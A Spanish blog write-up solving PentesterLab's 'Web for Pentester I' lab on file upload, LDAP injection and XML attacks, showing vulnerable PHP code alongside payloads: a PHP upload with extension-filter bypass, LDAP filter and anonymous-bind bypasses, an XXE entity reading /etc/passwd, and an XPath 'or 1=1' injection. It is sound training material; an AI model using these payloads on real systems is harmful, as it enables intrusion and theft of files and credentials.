[Pentesterlab write-up] Web For Pentester I - File upload. LDAP & XML attacks

Llegamos a la última entrada de los solucionarios de “Web for pentester I” de Pentesterlab, que más que un lab ha sido un didáctico viaje por las vulnerabilidades web más comunes, permitiendo un buen entendimiento de las mismas comparando cada explotación (payload) con el código PHP vulnerable del servidor.

Así que vamos a cerrar esta serie de cinco entradas con los ejercicios correspondientes a las vulnerabilidades que nos quedaban pendientes: subida de archivos y ataques LDAP y XML.


FILE UPLOAD

La posibilidad de subir archivos es un requisito funcional en muchas aplicaciones web, pero también un riesgo significante para la misma.

Desde el prisma del atacante, encontrar un formulario para subir archivos es una buena noticia porque puede suponer la puerta para introducir código malicioso ejecutable tanto en el servidor como en el cliente.

Por ejemplo, cualquier carencia o fallo en la verificación del tipo de contenido (content-type), de la extensión del fichero o de la imagen subidos puede suponer la introducción de una web shell que comprometa por completo al servidor y a los usuarios que lo visitan.

Ejercicio 1

Normalmente para implementar la subida de archivos bastará un sencillo código con una parte en HTML para crear una interfaz de usuario que permite al usuario elegir qué archivo cargar, y otra parte con un script PHP que contiene el código que maneja la solicitud para cargar el archivo seleccionado.

En el primer ejercicio no hay restricciones en el tipo de archivos permitidos para la subida. Por lo tanto, un atacante puede cargar un archivo con una shell en PHP (u otro código malicioso) que puede conducir al control total del servidor. 

SERVIDOR
<?php require_once('../header.php'); ?>


<?php
if(isset($_FILES['image']))
{ 
  $dir = '/var/www/upload/images/';
  $file = basename($_FILES['image']['name']);
  if(move_uploaded_file($_FILES['image']['tmp_name'], $dir. $file))
  {
  echo "Upload done";
  echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>";
  }
  else 
  { 
      echo 'Upload failed';
  }
}
?>


<form method="POST" action="example1.php" enctype="multipart/form-data">    
Mon image : <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">

</form> 


<?php require_once('../footer.php'); ?>

Para la PoC basta con subir un simple código php con la función phpinfo:

PAYLOAD
echo "<?php phpinfo(); ?>" > phpinfo.php

Por lo tanto, si accedéis a la url que apunta al fichero recientemente subido podréis comprobar el código php se ejecuta en el servidor:
http://pentesterlab/upload/images/phpinfo.php


Ejercicio 2:

En el segundo ejercicio sin embargo no podremos subir directamente el archivo php:

Si echáis un vistazo al código veréis que hay un pequeño control con la función preg_match para denegar la subida de ficheros con extensión .php:

<?php require_once("../header.php"); ?>

<?php
if(isset($_FILES['image']))
{ 
  $dir = '/var/www/upload/images/';
  $file = basename($_FILES['image']['name']);
    if (preg_match('/\.php$/',$file)) {
        DIE("NO PHP");
    }
  if(move_uploaded_file($_FILES['image']['tmp_name'], $dir . $file))
  {
  echo 'Upload done !';
  echo 'Your file can be found <a href="/upload/images/'.htmlentities($file).'">here</a>';
  }
  else 
  { 
      echo 'Upload failed';
  }
}
?>


<form method="POST" action="example2.php" enctype="multipart/form-data">    
Image: <input type="file" name="image"><br/>
<input type="submit" name="send" value="Send file">

</form> 

<?php require_once("../footer.php"); ?>

Que puede saltarse simplemente renombrando el archivo a subir:

PAYLOAD


Y al acceder a la URL correspondiente obtendréis el mismo resultado que en el ejercicio anterior:

http://pentesterlab/upload/images/phpinfo.php.test

ATAQUES LDAP

El Protocolo ligero de acceso a directorios (LDAP) se utiliza para almacenar información sobre usuarios, hosts y muchos otros objetos. La inyección LDAP es un ataque del lado del servidor que podría permitir que la información sensible sobre los usuarios y los hosts representados en una estructura LDAP sea revelada, modificada o insertada. Esto se hace mediante la manipulación de los parámetros de entrada pasados después a las funciones internas de búsqueda, adición y modificación.

Una aplicación web puede utilizar LDAP para permitir que los usuarios se autentiquen o busquen la información de otros usuarios dentro de una estructura corporativa. El objetivo de los ataques de inyección LDAP es inyectar meta-caracteres de filtros de búsqueda LDAP en una consulta que será ejecutada por la aplicación.

Si una aplicación web utiliza LDAP para comprobar las credenciales de usuario durante el proceso de inicio de sesión y es vulnerable a la inyección LDAP, es posible omitir la comprobación de autenticación inyectando una consulta LDAP siempre verdadera (de forma similar a la inyección SQL y XPATH).

Ejercicio 1:

Como veis en el código del servidor se utiliza la función ldap_bind que espera como parámetros el usuario de la rama ‘people’ y contraseñas especificados:

SERVIDOR
<?php
  ... ...
  if ($ld) {
   if (isset($_GET["username"])) {
     $user = "uid=".$_GET["username"]."ou=people,dc=pentesterlab,dc=com";
   }
   $lb = @ldap_bind($ld, $user,$_GET["password"]);
   ... ...
?>

http://pentesterlab/ldap/example1.php?username=hacker&password=hacker

Sin embargo, si no se especifican estos parámetros el resultado será una consulta anónima y se bypasseará la autenticación. Bastará con quitarlos:

PAYLOAD
http://pentesterlab/ldap/example1.php

Ejercicio 2:

SERVIDOR
<?php
      ... ...
  $pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
  $filter = "(&(cn=".$_GET['name'].")(userPassword=".$pass."))";
      ... ...
?>

En este caso añadiremos el carácter que hará que todo lo que venga posteriormente ya no sea tratado, por lo que el filtro “(&(cn=hacker)(cn=*)))(userPassword=[pass]))” será el payload válido para este ejercicio.

PAYLOAD
http://pentesterlab/ldap/example2.php?name=hacker)(cn=*))&password=prueba

ATAQUES XML

También conocidos como ataques XXE (XML eXternal Entity), abusan de las denominadas Entidades externas que usan el parser XML para acceder a un recurso especificado en la URI, por ejemplo un fichero en el servidor.

Explotando este tipo de vulnerabilidades es posible realizar una denegación de servicio (incluso a sistemas remotos), ganar acceso no autorizado a archivos del servidor y escanear e incluso obtener información de otras máquinas del segmento.

Ejercicio 1:

El primer ejercicio no pone restricciones a nuestra imaginación:

SERVIDOR
<?php require_once("../header.php"); ?>
Hello  
<?php
  $xml=simplexml_load_string($_GET['xml']);
  print_r((string)$xml);
?>
<?php require_once("../footer.php"); ?>

Así que por ejemplo, aprovecharemos la vulnerabilidad para obtener el fichero passwd:

PAYLOAD
<!DOCTYPE test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><test>&xxe;</test>

PoC (con la URL encodeada):
http://pentesterlab/xml/example1.php?xml=%3C%21DOCTYPE%20test%20%5B%3C%21ENTITY%20xxe%20SYSTEM%20%22file%3A%2f%2f%2fetc%2fpasswd%22%3E%5D%3E%3Ctest%3E%26xxe%3B%3C%2ftest%3E

Y el resultado será el deseado:

Ejercicio 2:

En el segundo y último ejercicio veremos que la variable $_GET[‘name’]  no valida la entrada, así que este "pequeño olvido" también puede ser utilizado para inyectar código malicioso:

SERVIDOR
<?php require_once("../header.php");

  $x = "<data><users><user><name>hacker</name><message>Hello hacker</message><password>pentesterlab</password></user><user><name>admin</name><message>Hello admin</message><password>s3cr3tP4ssw0rd</password></user></users></data>";

  $xml=simplexml_load_string($x);
  $xpath = "users/user/name[.='".$_GET['name']."']/parent::*/message";
  $res = ($xml->xpath($xpath));
  while(list( ,$node) = each($res)) {
      echo $node;
  }
?>

Mediante el payload “‘ or 1=1]” podemos construir la variable $xpath de la siguiente manera:

PAYLOAD
users/user/name[.='' or 1=1]']/parent::*/message

Obteniendo  de esta manera las credenciales del usuario:

PoC:
http://pentesterlab/xml/example2.php?name=' or 1=1]



Y aquí concluye este instructiva serie de ejercicios con las que hemos repasado las vulnerabilidades web más comunes. Existe una segunda parte, 'Web for Pentester II", que también haré y espero publicar más adelante, pero antes quiero hacer otros labs no tan extensos y más dirigidos a explotar una vulnerabilidad concreta y "ownear" una máquina.

Os dejo una tabla con los enlaces a las 5 entradas de 'Web for Pentester I' (que está a su vez copiada en cada una para que os mováis más fácilmente por el laboratorio completo):

 [Pentesterlab write-ups by Hackplayers] Web For Pentester I:
XSS
SQL Injections
Path traversal, LFI & RFI
Code & Commands Injection
File upload. LDAP & XML attacks

Comentarios

  1. Como sabes el codigo php del servidor?. Porque ese codigo php no puedes acceder a verlo. En un caso real no puedes ver el codigo php y si no lo sabes, no puedes estudiarlo para poder encontrarle un fallo y explotarlo.

    ResponderEliminar

Publicar un comentario